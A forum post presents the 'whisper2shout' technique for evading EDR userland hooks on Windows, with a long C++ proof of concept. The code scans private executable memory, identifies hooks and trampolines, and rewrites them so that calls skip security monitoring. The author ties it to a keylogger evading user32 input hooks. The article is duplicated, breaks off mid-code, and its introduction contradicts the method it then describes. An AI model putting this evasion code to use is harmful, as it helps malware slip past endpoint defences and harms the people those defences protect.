OP 28 August, 2025 - 01:51 PM
bypassing userland API hooks in Windows: Whisper2shout demo
Introduction
Over the past few months I have explored several techniques for bypassing userland API hooks on Windows systems, each with their own advantages and limitations. As EDR technologies evolve, many traditional methods have become less reliable or easily flagged by modern EDRs/AVs. As such I have chosen to find more contemporary approaches to userland unhooking that can better navigate the increasing complexity of these EDRs. In this article I will present yet another technique that offers a better mechanism for evading userland hooks by exploiting subtle behaviors within Windows internals. The goal here is to provide another practical but technically informative article that addresses some of the pitfall seen in earlier bypass methods. Here I am talking about whisper2shout method.
At a high level the whisper2shout technique takes advantage of the separation between how functions are resolved during dynamic linking and how they are later invoked, allowing an attacker to pivot cleanly from a potentially hooked call to an unhooked call. Rather than relying on direct syscall stubs or syscall scraping, this method instead targets a lesser discussed mechanism involving forwarded exports and how Windows loader resolves these calls. By redirecting execution to a function that is resolved through forwarding, it becomes possible to bypass a userland trampoline placed by EDRs. In my implementation of this method I have used the same a minimal keylogger that now leverages whisper2shout technique to evade hooks placed on standard user32 input functions, offering a simple demonstration of the technique in action. As far as I am aware, this represents the first public proof of concept for this specific method.
Technique Breakdown: How it works
The whisper2shout method exploits the fundamental requirement that security products must preserve original function prologues to maintain application compatibility, meaning basically that when EDRs hook functions they can’t just destroy the original code as legitimate programs still need to work, so they save the original bytes somewhere and jump back to them when needed. We essentially aim to use the EDRs own memory structures to locate and use clean code segments.
The first step is to locate the EDR’s memory stash, that is the runtime allocated memory regions where most EDRs will place their hook infrastructure. Instead of patching system DLLs directly many newer EDRs opt to inject trampoline code, syscall stubs or some redirect logic into the MEM_PRIVATE regions. These regions arent associated with any loaded image and are created dynamically which makes them less obvious to traditional detection methods.
To find them we can walk through the process’s virtual memory space using VirtualQuery, checking for committed memory that is both private and executable. This allows us to isolate regions that are likely used for runtime generated code. A typical approach will involve checking each region for MEM_PRIVATE type, MEM_COMMIT state and a executable protection flag like PAGE_EXECUTE, PAGE_EXECUTE_READ or PAGE_EXECUTE_READWRITE.
Once identified, these regions can be further analysed for suspicious behavior. Since they aren’t tied to any module, they often contain code used to hijack the execution flow or perform some stealthy syscall redirection. Disassembling their contents with a tool like Capstone (I see an article on this somewhere here I believe) can reveal known patterns such as manually constructed syscall stubs or indirect jump chains. This memory stash is where many usermode EDR hooks live and so mapping it out is the first step in understanding and bypassing it.
Once we’ve found the EDR’s ‘memory stash’ the next step is spotting hooks by analyzing instruction patterns. A common technique is direct jmp interception, where the original function starts with a jump (0xE9) redirecting execution elsewhere.
We check if the first byte is 0xE9. If so then the next four bytes give a relative offset, adding that to the function’s address plus 5 bytes (jump size) gives the actual jump target. If this target lies in a MEM_PRIVATE region then it’s likely an EDR hook.
Microsoft Detours Pattern. It uses a MOV to load an address into RAX followed by an indirect JMP that we can detect by checking for the opcode sequence 0x48 0xB8 (MOV RAX, imm64), followed shortly by 0xFF 0xE0 (JMP RAX). If the jumptarget is inside a private memory region we flag it as Detours instrumentation.
These checks help catch hooks redirecting to EDR code. Other hook types like short jumps or indirect jumps through registers can be detected similarly by analyzing the opcode patterns and their targets. The next step now is to analyse the trampolines inside those private memory regions. These trampolines contain the original function prologues that EDRs save to maintain compatibility, essentially clean code segments that the hooked function eventually jumps back to.
One common pattern involves a long jump trampoline where a RIP relative offset points to the original code location. By reading this offset we can locate the pointer to the original function bytes. If that pointer refers to memory outside of the private region (usually executable module memory), then it confirms the trampoline holds a reference to untouched original code.
Long Jump Trampoline Processing
Another recognizable pattern is the ‘Double push’ trampoline, that begins with two PUSH instructions followed by a MOV RAX, imm64. This often serves as a stack aligned redirection mechanism. We identify it by matching its byte pattern and extracting the immediate address to retrieve the original code.
By processing these trampolines, we can recover original function prologues and reconstruct clean execution paths — using the EDR’s own defensive architecture as a bypass tool.
With trampoline regions mapped and hook logic identified we next turn our attention to syscall stubs. In essence, short functions in ntdll.dll that invoke kernel services directly via syscall. These stubs are critical for native API access, making them a prime target for EDR interception. To validate their integrity we read and compare the instruction bytes at each function address against the expected syscall stub layout. A canonical syscall stub typically looks like this:
In hex, this sequence translates to:
We do this validation like so:
Any mismatch here, whether in the instruction sequence or the syscall number, strongly suggests that the stub has been tampered with. Since legitimate syscall stubs are static and identical across systems (aside from the number) then even a minor deviation is grounds for suspicion. One of the main features of this technique is that it can more reliably expose inline syscall hooking by EDRs that seek to intercept low level operations before they reach the kernel.
At this stage evasion is achieved not by patching the original function directly as it would risk triggering EDRs, but instead by subtly rewriting the EDR’s own trampoline. Since these trampolines already sit between the hooked API and the redirection logic we can reroute them back to the original, unmodified code segment that EDRs saved.
This approach is quite stealthy as we don’t remove the hook or clean up traces, we simply hijack the detour and point it away from any EDR controlled logic. That way, calls made to a hooked function still appear to go through the expected route except now they quietly skip the EDR layer:
By redirecting execution at the trampoline level we can avoid tampering with system DLLs and in a way turn EDR infrastructure against itself. By relying only on VirtualQuery and VirtualProtect, avoiding suspicious API usage. Importantly, it preserves the original function entry points, ensuring that standard integrity checks pass unmodified. Since it performs no file system or process creation operations, it leaves no external artifacts, making detection harder. The technique allows for unhooking of specific APIs without affecting unrelated system behaviour. It is also resilient against monitoring tools, as it operates entirely within intra-process memory, preserving EDR jump instructions and redirecting execution only at the trampoline level. By using legitimate Windows memory APIs and avoiding any overt modifications to system DLLs, it effectively bypasses traditional indicators of unhooking activity.
Writing The POC
As I mentioned previously I couldn’t find any existing proof of concept for this specific technique, although there is a few nice write ups. To maintain consistency with my other projects this POC will follow a similar style and structure where the core functionality is to detect all hooked functions within the target process at runtime. It will enumerate each hooked function, then display key details including the function name, its original address in memory, the type of hook applied (such as inline hooks or trampoline hooks), and the corresponding syscall number. Additionally, the POC will provide a side by side comparison of the hooked bytes and the original unmodified bytes for each function:
Now to put this technique into practical demonstration I’ll use a simple keylogger from a previous demonstration that allows us to clearly see the technique in action within a real-world scenario, giving insight into how hooks are identified and handled during runtime:
AV detection, kernel monitoring via ETW, virtualization, and minifilter callbacks are valid and represent significant hurdles for any evasion technique, this userland method still holds substantial value however. Yes it’s true that full stealth often requires kernel components, and bypassing kernel level logging or hypervisor type protections. But, without custom drivers this remains a challenging problem outside the scope of this POC. However, this technique focuses on providing a userland approach to detecting and analyzing hooks in real time which remains highly effective against a broad range of userland hooking methods. These userland methods may not circumvent all AV or EDR detections, especially those based on kernel monitoring, this method is still one of the most thorough and practical userland techniques available today for identifying hook manipulations in modern windows. Now yes, some userland bypasses can cause anomalies in the stack that more advanced detection mechanisms might pick up on. However, this technique minimizes such footprints by directly detecting and restoring the original syscall behaviour, therefore reducing the need for extensive stack manipulation or spoofing. I agree fully that perfect stealth at the userland level is challenging, the approach focuses on restoring the syscall flow as closely as possible to its original state, which limits suspicious stack alterations compared to more intrusive hooking or spoofing methods. Ultimately, this balances detection risk with practical evasion and analysis capabilities without relying on complex kernel mode components.
Many thanks for reading.
- Remy
Introduction
Over the past few months I have explored several techniques for bypassing userland API hooks on Windows systems, each with their own advantages and limitations. As EDR technologies evolve, many traditional methods have become less reliable or easily flagged by modern EDRs/AVs. As such I have chosen to find more contemporary approaches to userland unhooking that can better navigate the increasing complexity of these EDRs. In this article I will present yet another technique that offers a better mechanism for evading userland hooks by exploiting subtle behaviors within Windows internals. The goal here is to provide another practical but technically informative article that addresses some of the pitfall seen in earlier bypass methods. Here I am talking about whisper2shout method.
At a high level the whisper2shout technique takes advantage of the separation between how functions are resolved during dynamic linking and how they are later invoked, allowing an attacker to pivot cleanly from a potentially hooked call to an unhooked call. Rather than relying on direct syscall stubs or syscall scraping, this method instead targets a lesser discussed mechanism involving forwarded exports and how Windows loader resolves these calls. By redirecting execution to a function that is resolved through forwarding, it becomes possible to bypass a userland trampoline placed by EDRs. In my implementation of this method I have used the same a minimal keylogger that now leverages whisper2shout technique to evade hooks placed on standard user32 input functions, offering a simple demonstration of the technique in action. As far as I am aware, this represents the first public proof of concept for this specific method.
Technique Breakdown: How it works
The whisper2shout method exploits the fundamental requirement that security products must preserve original function prologues to maintain application compatibility, meaning basically that when EDRs hook functions they can’t just destroy the original code as legitimate programs still need to work, so they save the original bytes somewhere and jump back to them when needed. We essentially aim to use the EDRs own memory structures to locate and use clean code segments.
The first step is to locate the EDR’s memory stash, that is the runtime allocated memory regions where most EDRs will place their hook infrastructure. Instead of patching system DLLs directly many newer EDRs opt to inject trampoline code, syscall stubs or some redirect logic into the MEM_PRIVATE regions. These regions arent associated with any loaded image and are created dynamically which makes them less obvious to traditional detection methods.
To find them we can walk through the process’s virtual memory space using VirtualQuery, checking for committed memory that is both private and executable. This allows us to isolate regions that are likely used for runtime generated code. A typical approach will involve checking each region for MEM_PRIVATE type, MEM_COMMIT state and a executable protection flag like PAGE_EXECUTE, PAGE_EXECUTE_READ or PAGE_EXECUTE_READWRITE.
Code:
[color=#eeeeee]while (VirtualQuery(address, &mbi, sizeof(mbi))) {
if (mbi.Type == MEM_PRIVATE && mbi.State == MEM_COMMIT &&
(mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ))) {
// Found AV memory - investigate
}
}[/color]Once identified, these regions can be further analysed for suspicious behavior. Since they aren’t tied to any module, they often contain code used to hijack the execution flow or perform some stealthy syscall redirection. Disassembling their contents with a tool like Capstone (I see an article on this somewhere here I believe) can reveal known patterns such as manually constructed syscall stubs or indirect jump chains. This memory stash is where many usermode EDR hooks live and so mapping it out is the first step in understanding and bypassing it.
Once we’ve found the EDR’s ‘memory stash’ the next step is spotting hooks by analyzing instruction patterns. A common technique is direct jmp interception, where the original function starts with a jump (0xE9) redirecting execution elsewhere.
We check if the first byte is 0xE9. If so then the next four bytes give a relative offset, adding that to the function’s address plus 5 bytes (jump size) gives the actual jump target. If this target lies in a MEM_PRIVATE region then it’s likely an EDR hook.
Code:
[color=#eeeeee]if (firstBytes[0] == 0xE9) {
DWORD* relativeAddr = (DWORD*)(firstBytes + 1);
void* targetAddr = (BYTE*)funcAddr + *relativeAddr + 5;
if (IsPrivateMemoryRegion(targetAddr)) {
// Hook redirection to AV-controlled memory detected
}
}[/color]Microsoft Detours Pattern. It uses a MOV to load an address into RAX followed by an indirect JMP that we can detect by checking for the opcode sequence 0x48 0xB8 (MOV RAX, imm64), followed shortly by 0xFF 0xE0 (JMP RAX). If the jumptarget is inside a private memory region we flag it as Detours instrumentation.
Code:
[color=#eeeeee]if (firstBytes[0] == 0x48 && firstBytes[1] == 0xB8) {
for (int j = 10; j < 16; j++) {
if (firstBytes[j] == 0xFF && firstBytes[j + 1] == 0xE0) {
void* targetAddr = *(void**)(firstBytes + 2);
if (IsPrivateMemoryRegion(targetAddr)) {
// Detours-style instrumentation identified
}
}
}
}[/color]These checks help catch hooks redirecting to EDR code. Other hook types like short jumps or indirect jumps through registers can be detected similarly by analyzing the opcode patterns and their targets. The next step now is to analyse the trampolines inside those private memory regions. These trampolines contain the original function prologues that EDRs save to maintain compatibility, essentially clean code segments that the hooked function eventually jumps back to.
One common pattern involves a long jump trampoline where a RIP relative offset points to the original code location. By reading this offset we can locate the pointer to the original function bytes. If that pointer refers to memory outside of the private region (usually executable module memory), then it confirms the trampoline holds a reference to untouched original code.
Long Jump Trampoline Processing
Code:
[color=#eeeeee]void AnalyzeDetoursTrampoline(void* trampolineAddr, BYTE* data) {
DWORD ripOffset = *(DWORD*)(data + 2);
void* targetAddrPtr = (BYTE*)trampolineAddr + ripOffset + 6;
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery(targetAddrPtr, &mbi, sizeof(mbi))) {
if (mbi.Type != MEM_PRIVATE) {
void* originalAddr = *(void**)targetAddrPtr;
ExtractOriginalPrologue(trampolineAddr, originalAddr, “Detours”);
}
}
}[/color]Another recognizable pattern is the ‘Double push’ trampoline, that begins with two PUSH instructions followed by a MOV RAX, imm64. This often serves as a stack aligned redirection mechanism. We identify it by matching its byte pattern and extracting the immediate address to retrieve the original code.
Code:
[color=#eeeeee]void AnalyzeDoublePushTrampoline(void* trampolineAddr, BYTE* data) {
if (current[0] == 0x50 && current[1] == 0x50 &&
current[2] == 0x48 && current[3] == 0xB8) {
void* targetAddr = *(void**)(data + 4);
ExtractOriginalPrologue(trampolineAddr, targetAddr, “Double-Push”);
}
}[/color]By processing these trampolines, we can recover original function prologues and reconstruct clean execution paths — using the EDR’s own defensive architecture as a bypass tool.
With trampoline regions mapped and hook logic identified we next turn our attention to syscall stubs. In essence, short functions in ntdll.dll that invoke kernel services directly via syscall. These stubs are critical for native API access, making them a prime target for EDR interception. To validate their integrity we read and compare the instruction bytes at each function address against the expected syscall stub layout. A canonical syscall stub typically looks like this:
Code:
[color=#eeeeee]mov r10, rcx
mov eax, <syscall_number>
syscall
ret[/color]In hex, this sequence translates to:
Code:
[color=#eeeeee]4C 8B D1 B8 XX XX XX XX 0F 05 C3[/color]We do this validation like so:
Code:
[color=#eeeeee]void CheckSystemCallHook(void* funcAddr, const std::string& funcName, DWORD syscallNumber) {
BYTE syscallBytes[32];
SIZE_T bytesRead;
ReadProcessMemory(GetCurrentProcess(), funcAddr, syscallBytes, sizeof(syscallBytes), &bytesRead);
// Validate canonical syscall stub
bool isValidSyscall = (syscallBytes[0] == 0x4C && syscallBytes[1] == 0x8B &&
syscallBytes[2] == 0xD1 && syscallBytes[3] == 0xB8 &&
syscallBytes[8] == 0x0F && syscallBytes[9] == 0x05 &&
syscallBytes[10] == 0xC3);
DWORD actualSyscallNumber = *(DWORD*)(syscallBytes + 4);
if (!isValidSyscall || actualSyscallNumber != syscallNumber) {
// Modified syscall stub indicates user-mode hook
}
}[/color]Any mismatch here, whether in the instruction sequence or the syscall number, strongly suggests that the stub has been tampered with. Since legitimate syscall stubs are static and identical across systems (aside from the number) then even a minor deviation is grounds for suspicion. One of the main features of this technique is that it can more reliably expose inline syscall hooking by EDRs that seek to intercept low level operations before they reach the kernel.
At this stage evasion is achieved not by patching the original function directly as it would risk triggering EDRs, but instead by subtly rewriting the EDR’s own trampoline. Since these trampolines already sit between the hooked API and the redirection logic we can reroute them back to the original, unmodified code segment that EDRs saved.
This approach is quite stealthy as we don’t remove the hook or clean up traces, we simply hijack the detour and point it away from any EDR controlled logic. That way, calls made to a hooked function still appear to go through the expected route except now they quietly skip the EDR layer:
Code:
[color=#eeeeee]bool UnhookFunction(HookInfo& hook) {
if (hook.trampolineAddress) {
DWORD oldProtect;
VirtualProtect(hook.trampolineAddress, 16, PAGE_EXECUTE_READWRITE, &oldProtect);
// Construct a direct JMP to the original function
BYTE jumpToOriginal[5];
jumpToOriginal[0] = 0xE9;
DWORD_PTR trampolinePtr = reinterpret_cast<DWORD_PTR>(hook.trampolineAddress);
DWORD_PTR originalPtr = reinterpret_cast<DWORD_PTR>(hook.originalAddress);
DWORD relativeOffset = static_cast<DWORD>(originalPtr - trampolinePtr - 5);
memcpy(jumpToOriginal + 1, &relativeOffset, 4);
// Overwrite trampoline with redirection
memcpy(hook.trampolineAddress, jumpToOriginal, 5);
FlushInstructionCache(GetCurrentProcess(), hook.trampolineAddress, 5);
VirtualProtect(hook.trampolineAddress, 16, oldProtect, &oldProtect);
}
return true;
}[/color]By redirecting execution at the trampoline level we can avoid tampering with system DLLs and in a way turn EDR infrastructure against itself. By relying only on VirtualQuery and VirtualProtect, avoiding suspicious API usage. Importantly, it preserves the original function entry points, ensuring that standard integrity checks pass unmodified. Since it performs no file system or process creation operations, it leaves no external artifacts, making detection harder. The technique allows for unhooking of specific APIs without affecting unrelated system behaviour. It is also resilient against monitoring tools, as it operates entirely within intra-process memory, preserving EDR jump instructions and redirecting execution only at the trampoline level. By using legitimate Windows memory APIs and avoiding any overt modifications to system DLLs, it effectively bypasses traditional indicators of unhooking activity.
Writing The POC
As I mentioned previously I couldn’t find any existing proof of concept for this specific technique, although there is a few nice write ups. To maintain consistency with my other projects this POC will follow a similar style and structure where the core functionality is to detect all hooked functions within the target process at runtime. It will enumerate each hooked function, then display key details including the function name, its original address in memory, the type of hook applied (such as inline hooks or trampoline hooks), and the corresponding syscall number. Additionally, the POC will provide a side by side comparison of the hooked bytes and the original unmodified bytes for each function:
Code:
[color=#eeeeee]#include <windows.h>
#include <iostream>
#include <vector>
#include <unordered_map>
#include <string>
#include <memory>
#include <psapi.h>
#include <tlhelp32.h>
#include <winternl.h>
#include <mutex>
#include <thread>
#include <chrono>
#include <algorithm>
#include <cstdlib>
#include <cstring>
class Whisper2ShoutDetector {
private:
struct HookInfo {
void* originalAddress;
void* hookAddress;
void* trampolineAddress;
std::vector<BYTE> originalBytes;
std::vector<BYTE> hookedBytes;
std::string hookType;
bool isSystemCall;
DWORD syscallNumber;
std::string functionName;
};
std::vector<HookInfo> detectedHooks;
std::mutex detectorMutex;
public:
bool DetectWhisper2ShoutHooks() {
std::lock_guard<std::mutex> lock(detectorMutex);
detectedHooks.clear();
std::cout << "Starting hook detection\n";
if (!EnumerateModuleExports()) {
return false;
}
if (!AnalyzePrivateMemoryRegions()) {
return false;
}
if (!DetectSystemCallHooks()) {
return false;
}
ClassifyDetectedHooks();
PrintDetectionSummary();
return !detectedHooks.empty();
}
bool EnumerateModuleExports() {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnapshot == INVALID_HANDLE_VALUE) return false;
MODULEENTRY32 me32 = {};
me32.dwSize = sizeof(MODULEENTRY32);
if (Module32First(hSnapshot, &me32)) {
do {
std::string moduleName;
int len = WideCharToMultiByte(CP_ACP, 0, me32.szModule, -1, NULL, 0, NULL, NULL);
if (len > 0) {
std::vector<char> buffer(len);
WideCharToMultiByte(CP_ACP, 0, me32.szModule, -1, buffer.data(), len, NULL, NULL);
moduleName = std::string(buffer.data());
}
std::transform(moduleName.begin(), moduleName.end(), moduleName.begin(), ::tolower);
if (moduleName == "ntdll.dll" || moduleName == "kernel32.dll" ||
moduleName == "kernelbase.dll" || moduleName == "user32.dll") {
AnalyzeModuleExports(me32.hModule, moduleName);
}
} while (Module32Next(hSnapshot, &me32));
}
CloseHandle(hSnapshot);
return true;
}
void AnalyzeModuleExports(HMODULE hModule, const std::string& moduleName) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return;
DWORD exportRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportRVA == 0) return;
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + exportRVA);
DWORD* functions = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
DWORD* names = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
char* funcName = (char*)((BYTE*)hModule + names[i]);
DWORD funcRVA = functions[ordinals[i]];
void* funcAddr = (BYTE*)hModule + funcRVA;
if (IsHookedFunction(funcAddr, funcName, moduleName)) {
std::cout << “Hook Detected “ << funcName << “ in “ << moduleName << std::endl;
}
}
}
bool IsHookedFunction(void* funcAddr, const std::string& funcName, const std::string& moduleName) {
BYTE firstBytes[32];
SIZE_T bytesRead;
if (!ReadProcessMemory(GetCurrentProcess(), funcAddr, firstBytes, sizeof(firstBytes), &bytesRead)) {
return false;
}
HookInfo hookInfo = {};
hookInfo.originalAddress = funcAddr;
hookInfo.functionName = funcName;
if (firstBytes[0] == 0xE9) {
DWORD* relativeAddr = (DWORD*)(firstBytes + 1);
void* targetAddr = (BYTE*)funcAddr + *relativeAddr + 5;
if (IsPrivateMemoryRegion(targetAddr)) {
hookInfo.hookAddress = targetAddr;
hookInfo.hookType = “Direct JMP Hook”;
detectedHooks.push_back(hookInfo);
return true;
}
}
if (firstBytes[0] == 0x48 && firstBytes[1] == 0xB8) {
for (int j = 10; j < 16; j++) {
if (firstBytes[j] == 0xFF && firstBytes[j + 1] == 0xE0) {
void* targetAddr = *(void**)(firstBytes + 2);
if (IsPrivateMemoryRegion(targetAddr)) {
hookInfo.hookAddress = targetAddr;
hookInfo.hookType = “MOV+JMP Hook (Detours-style)”;
detectedHooks.push_back(hookInfo);
return true;
}
}
}
}
if (firstBytes[0] == 0xFF && firstBytes[1] == 0x25) {
DWORD* ripOffset = (DWORD*)(firstBytes + 2);
void* targetAddrPtr = (BYTE*)funcAddr + *ripOffset + 6;
void* targetAddr = *(void**)targetAddrPtr;
if (IsPrivateMemoryRegion(targetAddr)) {
hookInfo.hookAddress = targetAddr;
hookInfo.hookType = “Indirect jmp Hook”;
detectedHooks.push_back(hookInfo);
return true;
}
}
if (firstBytes[0] == 0x68 && firstBytes[5] == 0xC3) {
void* targetAddr = *(void**)(firstBytes + 1);
if (IsPrivateMemoryRegion(targetAddr)) {
hookInfo.hookAddress = targetAddr;
hookInfo.hookType = “Push+Ret Hook”;
detectedHooks.push_back(hookInfo);
return true;
}
}
return false;
}
bool AnalyzePrivateMemoryRegions() {
std::vector<MEMORY_BASIC_INFORMATION> privateRegions;
BYTE* address = nullptr;
MEMORY_BASIC_INFORMATION mbi;
while (VirtualQuery(address, &mbi, sizeof(mbi))) {
if (mbi.Type == MEM_PRIVATE && mbi.State == MEM_COMMIT &&
(mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE))) {
privateRegions.push_back(mbi);
}
address = (BYTE*)mbi.BaseAddress + mbi.RegionSize;
}
for (const auto& region : privateRegions) {
AnalyzeTrampolineRegion(region);
}
return true;
}
void AnalyzeTrampolineRegion(const MEMORY_BASIC_INFORMATION& mbi) {
std::vector<BYTE> regionData(mbi.RegionSize);
SIZE_T bytesRead;
if (!ReadProcessMemory(GetCurrentProcess(), mbi.BaseAddress,
regionData.data(), mbi.RegionSize, &bytesRead)) {
return;
}
for (SIZE_T i = 0; i < bytesRead - 16; i++) {
BYTE* current = regionData.data() + i;
if (current[0] == 0xFF && current[1] == 0x25) {
AnalyzeDetoursTrampoline((BYTE*)mbi.BaseAddress + i, current);
}
if (current[0] == 0xE9) {
AnalyzeShortJumpTrampoline((BYTE*)mbi.BaseAddress + i, current);
}
if (current[0] == 0x50 && current[1] == 0x50 &&
current[2] == 0x48 && current[3] == 0xB8) {
AnalyzeDoublePushTrampoline((BYTE*)mbi.BaseAddress + i, current);
}
}
}
void AnalyzeDetoursTrampoline(void* trampolineAddr, BYTE* data) {
DWORD ripOffset = *(DWORD*)(data + 2);
void* targetAddrPtr = (BYTE*)trampolineAddr + ripOffset + 6;
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery(targetAddrPtr, &mbi, sizeof(mbi))) {
if (mbi.Type != MEM_PRIVATE) {
void* originalAddr = *(void**)targetAddrPtr;
ExtractOriginalPrologue(trampolineAddr, originalAddr, “Detours”);
}
}
}
void AnalyzeShortJumpTrampoline(void* trampolineAddr, BYTE* data) {
DWORD relativeAddr = *(DWORD*)(data + 1);
void* targetAddr = (BYTE*)trampolineAddr + relativeAddr + 5;
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery(targetAddr, &mbi, sizeof(mbi))) {
if (mbi.Type != MEM_PRIVATE) {
ExtractOriginalPrologue(trampolineAddr, targetAddr, “Short JMP”);
}
}
}
void AnalyzeDoublePushTrampoline(void* trampolineAddr, BYTE* data) {
void* targetAddr = *(void**)(data + 4);
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery(targetAddr, &mbi, sizeof(mbi))) {
if (mbi.Type != MEM_PRIVATE) {
ExtractOriginalPrologue(trampolineAddr, targetAddr, “Double-Push”);
}
}
}
void ExtractOriginalPrologue(void* trampolineAddr, void* originalAddr, const std::string& type) {
BYTE prologueBytes[32];
SIZE_T bytesRead;
void* prologueAddr = (BYTE*)trampolineAddr - 16;
if (ReadProcessMemory(GetCurrentProcess(), prologueAddr, prologueBytes, 32, &bytesRead)) {
for (auto& hook : detectedHooks) {
if (IsNearAddress(hook.originalAddress, originalAddr, 32)) {
hook.trampolineAddress = trampolineAddr;
hook.originalBytes.assign(prologueBytes, prologueBytes + 16);
hook.hookType += “ (“ + type + “ trampoline)”;
break;
}
}
}
}
bool DetectSystemCallHooks() {
HMODULE hNtdll = GetModuleHandleA(“ntdll.dll”);
if (!hNtdll) return false;
std::vector<std::pair<void*, std::string>> zwFunctions;
EnumerateZwFunctions(hNtdll, zwFunctions);
std::sort(zwFunctions.begin(), zwFunctions.end());
for (size_t i = 0; i < zwFunctions.size(); i++) {
CheckSystemCallHook(zwFunctions[i].first, zwFunctions[i].second, static_cast<DWORD>(i));
}
return true;
}
void EnumerateZwFunctions(HMODULE hNtdll, std::vector<std::pair<void*, std::string>>& zwFunctions) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dosHeader->e_lfanew);
DWORD exportRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportRVA == 0) return;
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hNtdll + exportRVA);
DWORD* functions = (DWORD*)((BYTE*)hNtdll + exportDir->AddressOfFunctions);
DWORD* names = (DWORD*)((BYTE*)hNtdll + exportDir->AddressOfNames);
WORD* ordinals = (WORD*)((BYTE*)hNtdll + exportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
char* funcName = (char*)((BYTE*)hNtdll + names[i]);
if (strncmp(funcName, “Zw”, 2) == 0) {
DWORD funcRVA = functions[ordinals[i]];
void* funcAddr = (BYTE*)hNtdll + funcRVA;
zwFunctions.push_back({ funcAddr, std::string(funcName) });
}
}
}
void CheckSystemCallHook(void* funcAddr, const std::string& funcName, DWORD syscallNumber) {
BYTE syscallBytes[32];
SIZE_T bytesRead;
if (!ReadProcessMemory(GetCurrentProcess(), funcAddr, syscallBytes, sizeof(syscallBytes), &bytesRead)) {
return;
}
bool isValidSyscall = (syscallBytes[0] == 0x4C && syscallBytes[1] == 0x8B && syscallBytes[2] == 0xD1 &&
syscallBytes[3] == 0xB8 && syscallBytes[8] == 0x0F && syscallBytes[9] == 0x05 &&
syscallBytes[10] == 0xC3);
DWORD actualSyscallNumber = *(DWORD*)(syscallBytes + 4);
if (!isValidSyscall || actualSyscallNumber != syscallNumber) {
HookInfo hookInfo = {};
hookInfo.originalAddress = funcAddr;
hookInfo.functionName = funcName;
hookInfo.isSystemCall = true;
hookInfo.syscallNumber = syscallNumber;
hookInfo.hookType = “Modified syscall stub”;
hookInfo.hookedBytes.assign(syscallBytes, syscallBytes + 16);
std::vector<BYTE> originalStub = {
0x4C, 0x8B, 0xD1,
0xB8, 0x00, 0x00, 0x00, 0x00,
0x0F, 0x05,
0xC3
};
*(DWORD*)(originalStub.data() + 4) = syscallNumber;
hookInfo.originalBytes = originalStub;
detectedHooks.push_back(hookInfo);
std::cout << “Syscall hook: “ << funcName << “ (expected:” << syscallNumber
<< “ actual:” << actualSyscallNumber << “)” << std::endl;
}
}
void ClassifyDetectedHooks() {
std::cout << “\nHook analysis:\n”;
std::cout << “======================================\n”;
size_t totalHooks = detectedHooks.size();
size_t syscallHooks = 0;
size_t apiHooks = 0;
for (const auto& hook : detectedHooks) {
if (hook.isSystemCall) {
syscallHooks++;
}
else {
apiHooks++;
}
}
std::cout << “Total Hooks: “ << totalHooks << std::endl;
std::cout << “System Call Hooks: “ << syscallHooks << std::endl;
std::cout << “API Hooks: “ << apiHooks << std::endl;
}
bool PerformWhisper2ShoutUnhook() {
std::lock_guard<std::mutex> lock(detectorMutex);
std::cout << “Starting Whisper2Shout unhooking process…\n”;
bool success = true;
for (auto& hook : detectedHooks) {
if (UnhookFunction(hook)) {
std::cout << “Successfully unhooked “ << hook.functionName << std::endl;
}
else {
std::cout << “[Failed to unhook “ << hook.functionName << std::endl;
success = false;
}
}
return success;
}
bool UnhookFunction(HookInfo& hook) {
if (hook.originalBytes.empty()) {
return false;
}
DWORD oldProtect;
if (hook.isSystemCall) {
if (!VirtualProtect(hook.originalAddress, hook.originalBytes.size(),
PAGE_EXECUTE_READWRITE, &oldProtect)) {
return false;
}
memcpy(hook.originalAddress, hook.originalBytes.data(), hook.originalBytes.size());
FlushInstructionCache(GetCurrentProcess(), hook.originalAddress, hook.originalBytes.size());
VirtualProtect(hook.originalAddress, hook.originalBytes.size(), oldProtect, &oldProtect);
}
else if (hook.trampolineAddress) {
if (!VirtualProtect(hook.trampolineAddress, 16, PAGE_EXECUTE_READWRITE, &oldProtect)) {
return false;
}
BYTE jumpToOriginal[5];
jumpToOriginal[0] = 0xE9;
DWORD_PTR trampolinePtr = reinterpret_cast<DWORD_PTR>(hook.trampolineAddress);
DWORD_PTR originalPtr = reinterpret_cast<DWORD_PTR>(hook.originalAddress);
DWORD relativeOffset = static_cast<DWORD>(originalPtr - trampolinePtr - 5);
memcpy(jumpToOriginal + 1, &relativeOffset, 4);
memcpy(hook.trampolineAddress, jumpToOriginal, 5);
FlushInstructionCache(GetCurrentProcess(), hook.trampolineAddress, 5);
VirtualProtect(hook.trampolineAddress, 16, oldProtect, &oldProtect);
}
return true;
}
bool IsPrivateMemoryRegion(void* address) {
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery(address, &mbi, sizeof(mbi)) == 0) {
return false;
}
return (mbi.Type == MEM_PRIVATE) &&
(mbi.State == MEM_COMMIT) &&
